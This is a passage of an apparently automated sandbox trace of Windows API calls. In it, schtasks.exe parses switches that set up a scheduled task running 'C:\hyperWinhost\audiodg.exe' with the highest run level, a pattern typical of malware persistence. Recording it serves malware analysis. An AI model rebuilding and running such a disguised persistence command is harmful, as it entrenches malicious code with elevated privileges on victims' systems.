4 [0071.506] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0071.506] SetLastError (dwErrCode=0x490) [0071.506] lstrlenW (lpString="run") returned 3 [0071.506] lstrlenW (lpString="run") returned 3 [0071.506] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.506] lstrlenW (lpString="mo") returned 2 [0071.506] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.506] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|run|") returned 5 [0071.506] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|mo|") returned 4 [0071.506] lstrlenW (lpString="|run|") returned 5 [0071.507] lstrlenW (lpString="|mo|") returned 4 [0071.507] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0071.507] SetLastError (dwErrCode=0x490) [0071.507] lstrlenW (lpString="end") returned 3 [0071.507] lstrlenW (lpString="end") returned 3 [0071.507] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.507] lstrlenW (lpString="mo") returned 2 [0071.507] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.507] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|end|") returned 5 [0071.507] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|mo|") returned 4 [0071.507] lstrlenW (lpString="|end|") returned 5 [0071.507] lstrlenW (lpString="|mo|") returned 4 [0071.507] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0071.507] SetLastError (dwErrCode=0x490) [0071.507] lstrlenW (lpString="showsid") returned 7 [0071.507] lstrlenW (lpString="showsid") returned 7 [0071.507] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.507] lstrlenW (lpString="mo") returned 2 [0071.507] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.507] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|showsid|") returned 9 [0071.507] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|mo|") returned 4 [0071.507] lstrlenW (lpString="|showsid|") returned 9 [0071.508] lstrlenW (lpString="|mo|") returned 4 [0071.508] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0071.508] SetLastError (dwErrCode=0x490) [0071.508] SetLastError (dwErrCode=0x490) [0071.508] SetLastError (dwErrCode=0x0) [0071.508] lstrlenW (lpString="/mo") returned 3 [0071.508] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0071.508] SetLastError (dwErrCode=0x490) [0071.508] SetLastError (dwErrCode=0x0) [0071.508] lstrlenW (lpString="/mo") returned 3 [0071.508] GetProcessHeap () returned 0x1e0000 [0071.508] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x8) returned 0x1fc3d0 [0071.508] GetProcessHeap () returned 0x1e0000 [0071.508] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcdd0 [0071.508] SetLastError (dwErrCode=0x0) [0071.508] SetLastError (dwErrCode=0x0) [0071.508] lstrlenW (lpString="7") returned 1 [0071.508] SetLastError (dwErrCode=0x490) [0071.508] SetLastError (dwErrCode=0x0) [0071.508] lstrlenW (lpString="7") returned 1 [0071.508] StrChrIW (lpStart="7", wMatch=0x3a) returned 0x0 [0071.508] SetLastError (dwErrCode=0x490) [0071.508] SetLastError (dwErrCode=0x0) [0071.508] lstrlenW (lpString="7") returned 1 [0071.508] GetProcessHeap () returned 0x1e0000 [0071.509] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x4) returned 0x1fc3f0 [0071.509] GetProcessHeap () returned 0x1e0000 [0071.509] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fce00 [0071.509] SetLastError (dwErrCode=0x0) [0071.509] SetLastError (dwErrCode=0x0) [0071.509] lstrlenW (lpString="/tr") returned 3 [0071.509] lstrlenW (lpString="-/") returned 2 [0071.509] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0071.509] lstrlenW (lpString="?") returned 1 [0071.509] lstrlenW (lpString="?") returned 1 [0071.509] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.509] lstrlenW (lpString="tr") returned 2 [0071.509] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.509] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|?|") returned 3 [0071.509] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|tr|") returned 4 [0071.509] lstrlenW (lpString="|?|") returned 3 [0071.509] lstrlenW (lpString="|tr|") returned 4 [0071.509] SetLastError (dwErrCode=0x490) [0071.509] lstrlenW (lpString="create") returned 6 [0071.509] lstrlenW (lpString="create") returned 6 [0071.509] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.509] lstrlenW (lpString="tr") returned 2 [0071.509] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.509] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|create|") returned 8 [0071.509] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|tr|") returned 4 [0071.509] lstrlenW (lpString="|create|") returned 8 [0071.509] lstrlenW (lpString="|tr|") returned 4 [0071.509] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0071.510] SetLastError (dwErrCode=0x490) [0071.510] lstrlenW (lpString="delete") returned 6 [0071.510] lstrlenW (lpString="delete") returned 6 [0071.510] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.510] lstrlenW (lpString="tr") returned 2 [0071.510] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.510] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|delete|") returned 8 [0071.510] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|tr|") returned 4 [0071.510] lstrlenW (lpString="|delete|") returned 8 [0071.510] lstrlenW (lpString="|tr|") returned 4 [0071.510] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0071.510] SetLastError (dwErrCode=0x490) [0071.510] lstrlenW (lpString="query") returned 5 [0071.510] lstrlenW (lpString="query") returned 5 [0071.510] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.510] lstrlenW (lpString="tr") returned 2 [0071.510] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.510] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|query|") returned 7 [0071.510] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|tr|") returned 4 [0071.510] lstrlenW (lpString="|query|") returned 7 [0071.510] lstrlenW (lpString="|tr|") returned 4 [0071.510] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0071.510] SetLastError (dwErrCode=0x490) [0071.510] lstrlenW (lpString="change") returned 6 [0071.510] lstrlenW (lpString="change") returned 6 [0071.510] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.511] lstrlenW (lpString="tr") returned 2 [0071.511] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.511] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|change|") returned 8 [0071.511] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|tr|") returned 4 [0071.511] lstrlenW (lpString="|change|") returned 8 [0071.511] lstrlenW (lpString="|tr|") returned 4 [0071.511] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0071.511] SetLastError (dwErrCode=0x490) [0071.511] lstrlenW (lpString="run") returned 3 [0071.511] lstrlenW (lpString="run") returned 3 [0071.511] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.511] lstrlenW (lpString="tr") returned 2 [0071.511] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.511] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|run|") returned 5 [0071.511] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|tr|") returned 4 [0071.511] lstrlenW (lpString="|run|") returned 5 [0071.511] lstrlenW (lpString="|tr|") returned 4 [0071.511] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0071.511] SetLastError (dwErrCode=0x490) [0071.511] lstrlenW (lpString="end") returned 3 [0071.511] lstrlenW (lpString="end") returned 3 [0071.511] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.511] lstrlenW (lpString="tr") returned 2 [0071.511] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.511] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|end|") returned 5 [0071.511] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|tr|") returned 4 [0071.511] lstrlenW (lpString="|end|") returned 5 [0071.511] lstrlenW (lpString="|tr|") returned 4 [0071.511] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0071.512] SetLastError (dwErrCode=0x490) [0071.512] lstrlenW (lpString="showsid") returned 7 [0071.512] lstrlenW (lpString="showsid") returned 7 [0071.512] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.512] lstrlenW (lpString="tr") returned 2 [0071.512] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.512] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|showsid|") returned 9 [0071.512] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|tr|") returned 4 [0071.512] lstrlenW (lpString="|showsid|") returned 9 [0071.512] lstrlenW (lpString="|tr|") returned 4 [0071.512] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0071.512] SetLastError (dwErrCode=0x490) [0071.512] SetLastError (dwErrCode=0x490) [0071.512] SetLastError (dwErrCode=0x0) [0071.512] lstrlenW (lpString="/tr") returned 3 [0071.512] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0071.512] SetLastError (dwErrCode=0x490) [0071.512] SetLastError (dwErrCode=0x0) [0071.512] lstrlenW (lpString="/tr") returned 3 [0071.512] GetProcessHeap () returned 0x1e0000 [0071.512] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x8) returned 0x1fc410 [0071.512] GetProcessHeap () returned 0x1e0000 [0071.512] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fce30 [0071.512] SetLastError (dwErrCode=0x0) [0071.512] SetLastError (dwErrCode=0x0) [0071.512] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0071.512] lstrlenW (lpString="-/") returned 2 [0071.512] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0071.512] SetLastError (dwErrCode=0x490) [0071.512] SetLastError (dwErrCode=0x490) [0071.512] SetLastError (dwErrCode=0x0) [0071.513] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0071.513] StrChrIW (lpStart="'C:\\hyperWinhost\\audiodg.exe'", wMatch=0x3a) returned=":\\hyperWinhost\\audiodg.exe'" [0071.513] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0071.513] GetProcessHeap () returned 0x1e0000 [0071.513] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x18) returned 0x1fc430 [0071.513] _memicmp (_Buf1=0x1fc430, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.513] GetProcessHeap () returned 0x1e0000 [0071.513] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0xe) returned 0x1fc450 [0071.513] GetProcessHeap () returned 0x1e0000 [0071.513] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x18) returned 0x1fd600 [0071.513] _memicmp (_Buf1=0x1fd600, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.513] GetProcessHeap () returned 0x1e0000 [0071.513] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x3e) returned 0x1f93e0 [0071.513] SetLastError (dwErrCode=0x7a) [0071.513] SetLastError (dwErrCode=0x0) [0071.513] SetLastError (dwErrCode=0x0) [0071.513] lstrlenW (lpString="'C") returned 2 [0071.513] lstrlenW (lpString="-/") returned 2 [0071.513] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0071.513] SetLastError (dwErrCode=0x490) [0071.513] SetLastError (dwErrCode=0x490) [0071.513] SetLastError (dwErrCode=0x0) [0071.513] lstrlenW (lpString="'C:\\hyperWinhost\\audiodg.exe'") returned 29 [0071.513] GetProcessHeap () returned 0x1e0000 [0071.513] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x3c) returned 0x1f9430 [0071.513] GetProcessHeap () returned 0x1e0000 [0071.513] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fce60 [0071.513] SetLastError (dwErrCode=0x0) [0071.513] SetLastError (dwErrCode=0x0) [0071.513] lstrlenW (lpString="/rl") returned 3 [0071.513] lstrlenW (lpString="-/") returned 2 [0071.513] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0071.513] lstrlenW (lpString="?") returned 1 [0071.514] lstrlenW (lpString="?") returned 1 [0071.514] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.514] lstrlenW (lpString="rl") returned 2 [0071.514] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.514] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|?|") returned 3 [0071.514] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|rl|") returned 4 [0071.514] lstrlenW (lpString="|?|") returned 3 [0071.514] lstrlenW (lpString="|rl|") returned 4 [0071.514] SetLastError (dwErrCode=0x490) [0071.514] lstrlenW (lpString="create") returned 6 [0071.514] lstrlenW (lpString="create") returned 6 [0071.514] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.514] lstrlenW (lpString="rl") returned 2 [0071.514] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.514] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|create|") returned 8 [0071.514] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|rl|") returned 4 [0071.514] lstrlenW (lpString="|create|") returned 8 [0071.514] lstrlenW (lpString="|rl|") returned 4 [0071.514] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0071.514] SetLastError (dwErrCode=0x490) [0071.514] lstrlenW (lpString="delete") returned 6 [0071.514] lstrlenW (lpString="delete") returned 6 [0071.514] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.514] lstrlenW (lpString="rl") returned 2 [0071.514] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.514] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|delete|") returned 8 [0071.514] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|rl|") returned 4 [0071.514] lstrlenW (lpString="|delete|") returned 8 [0071.514] lstrlenW (lpString="|rl|") returned 4 [0071.514] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0071.515] SetLastError (dwErrCode=0x490) [0071.515] lstrlenW (lpString="query") returned 5 [0071.515] lstrlenW (lpString="query") returned 5 [0071.515] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.515] lstrlenW (lpString="rl") returned 2 [0071.515] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.515] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|query|") returned 7 [0071.515] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|rl|") returned 4 [0071.515] lstrlenW (lpString="|query|") returned 7 [0071.515] lstrlenW (lpString="|rl|") returned 4 [0071.515] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0071.515] SetLastError (dwErrCode=0x490) [0071.515] lstrlenW (lpString="change") returned 6 [0071.515] lstrlenW (lpString="change") returned 6 [0071.515] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.515] lstrlenW (lpString="rl") returned 2 [0071.515] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.515] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|change|") returned 8 [0071.515] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|rl|") returned 4 [0071.515] lstrlenW (lpString="|change|") returned 8 [0071.515] lstrlenW (lpString="|rl|") returned 4 [0071.515] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0071.515] SetLastError (dwErrCode=0x490) [0071.515] lstrlenW (lpString="run") returned 3 [0071.515] lstrlenW (lpString="run") returned 3 [0071.515] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.515] lstrlenW (lpString="rl") returned 2 [0071.515] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.515] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|run|") returned 5 [0071.515] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|rl|") returned 4 [0071.515] lstrlenW (lpString="|run|") returned 5 [0071.516] lstrlenW (lpString="|rl|") returned 4 [0071.516] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0071.516] SetLastError (dwErrCode=0x490) [0071.516] lstrlenW (lpString="end") returned 3 [0071.516] lstrlenW (lpString="end") returned 3 [0071.516] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.516] lstrlenW (lpString="rl") returned 2 [0071.516] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.516] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|end|") returned 5 [0071.516] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|rl|") returned 4 [0071.516] lstrlenW (lpString="|end|") returned 5 [0071.516] lstrlenW (lpString="|rl|") returned 4 [0071.516] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0071.516] SetLastError (dwErrCode=0x490) [0071.516] lstrlenW (lpString="showsid") returned 7 [0071.516] lstrlenW (lpString="showsid") returned 7 [0071.516] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.516] lstrlenW (lpString="rl") returned 2 [0071.516] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.516] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|showsid|") returned 9 [0071.516] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|rl|") returned 4 [0071.516] lstrlenW (lpString="|showsid|") returned 9 [0071.516] lstrlenW (lpString="|rl|") returned 4 [0071.516] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0071.516] SetLastError (dwErrCode=0x490) [0071.516] SetLastError (dwErrCode=0x490) [0071.516] SetLastError (dwErrCode=0x0) [0071.516] lstrlenW (lpString="/rl") returned 3 [0071.516] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0071.516] SetLastError (dwErrCode=0x490) [0071.516] SetLastError (dwErrCode=0x0) [0071.516] lstrlenW (lpString="/rl") returned 3 [0071.516] GetProcessHeap () returned 0x1e0000 [0071.517] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x8) returned 0x1fddd0 [0071.517] GetProcessHeap () returned 0x1e0000 [0071.517] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fce90 [0071.517] SetLastError (dwErrCode=0x0) [0071.517] SetLastError (dwErrCode=0x0) [0071.517] lstrlenW (lpString="HIGHEST") returned 7 [0071.517] lstrlenW (lpString="-/") returned 2 [0071.517] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0071.517] SetLastError (dwErrCode=0x490) [0071.517] SetLastError (dwErrCode=0x490) [0071.517] SetLastError (dwErrCode=0x0) [0071.517] lstrlenW (lpString="HIGHEST") returned 7 [0071.517] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0071.517] SetLastError (dwErrCode=0x490) [0071.517] SetLastError (dwErrCode=0x0) [0071.517] lstrlenW (lpString="HIGHEST") returned 7 [0071.517] GetProcessHeap () returned 0x1e0000 [0071.517] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x10) returned 0x1fd620 [0071.517] GetProcessHeap () returned 0x1e0000 [0071.517] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcec0 [0071.517] SetLastError (dwErrCode=0x0) [0071.517] SetLastError (dwErrCode=0x0) [0071.517] lstrlenW (lpString="/f") returned 2 [0071.517] lstrlenW (lpString="-/") returned 2 [0071.517] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0071.517] lstrlenW (lpString="?") returned 1 [0071.517] lstrlenW (lpString="?") returned 1 [0071.517] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.517] lstrlenW (lpString="f") returned 1 [0071.517] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.517] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|?|") returned 3 [0071.517] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|f|") returned 3 [0071.517] lstrlenW (lpString="|?|") returned 3 [0071.517] lstrlenW (lpString="|f|") returned 3 [0071.517] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0071.518] SetLastError (dwErrCode=0x490) [0071.518] lstrlenW (lpString="create") returned 6 [0071.518] lstrlenW (lpString="create") returned 6 [0071.518] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.518] lstrlenW (lpString="f") returned 1 [0071.518] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.518] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|create|") returned 8 [0071.518] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|f|") returned 3 [0071.518] lstrlenW (lpString="|create|") returned 8 [0071.518] lstrlenW (lpString="|f|") returned 3 [0071.518] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0071.518] SetLastError (dwErrCode=0x490) [0071.518] lstrlenW (lpString="delete") returned 6 [0071.518] lstrlenW (lpString="delete") returned 6 [0071.518] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.527] lstrlenW (lpString="f") returned 1 [0071.527] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.527] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|delete|") returned 8 [0071.527] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|f|") returned 3 [0071.527] lstrlenW (lpString="|delete|") returned 8 [0071.527] lstrlenW (lpString="|f|") returned 3 [0071.527] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0071.527] SetLastError (dwErrCode=0x490) [0071.527] lstrlenW (lpString="query") returned 5 [0071.527] lstrlenW (lpString="query") returned 5 [0071.527] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.528] lstrlenW (lpString="f") returned 1 [0071.528] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.528] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|query|") returned 7 [0071.528] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|f|") returned 3 [0071.528] lstrlenW (lpString="|query|") returned 7 [0071.528] lstrlenW (lpString="|f|") returned 3 [0071.528] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0071.528] SetLastError (dwErrCode=0x490) [0071.528] lstrlenW (lpString="change") returned 6 [0071.528] lstrlenW (lpString="change") returned 6 [0071.528] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.528] lstrlenW (lpString="f") returned 1 [0071.528] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.528] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|change|") returned 8 [0071.528] _vsnwprintf (in: _Buffer=0x1fc320, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|f|") returned 3 [0071.528] lstrlenW (lpString="|change|") returned 8 [0071.528] lstrlenW (lpString="|f|") returned 3 [0071.528] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0071.528] SetLastError (dwErrCode=0x490) [0071.528] lstrlenW (lpString="run") returned 3 [0071.528] lstrlenW (lpString="run") returned 3 [0071.528] _memicmp (_Buf1=0x1fc1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.528] lstrlenW (lpString="f") returned 1 [0071.528] _memicmp (_Buf1=0x1fc300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0071.528] _vsnwprintf (in: _Buffer=0x1fc340, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbf1b8 | out: _Buffer="|run|") returned 5 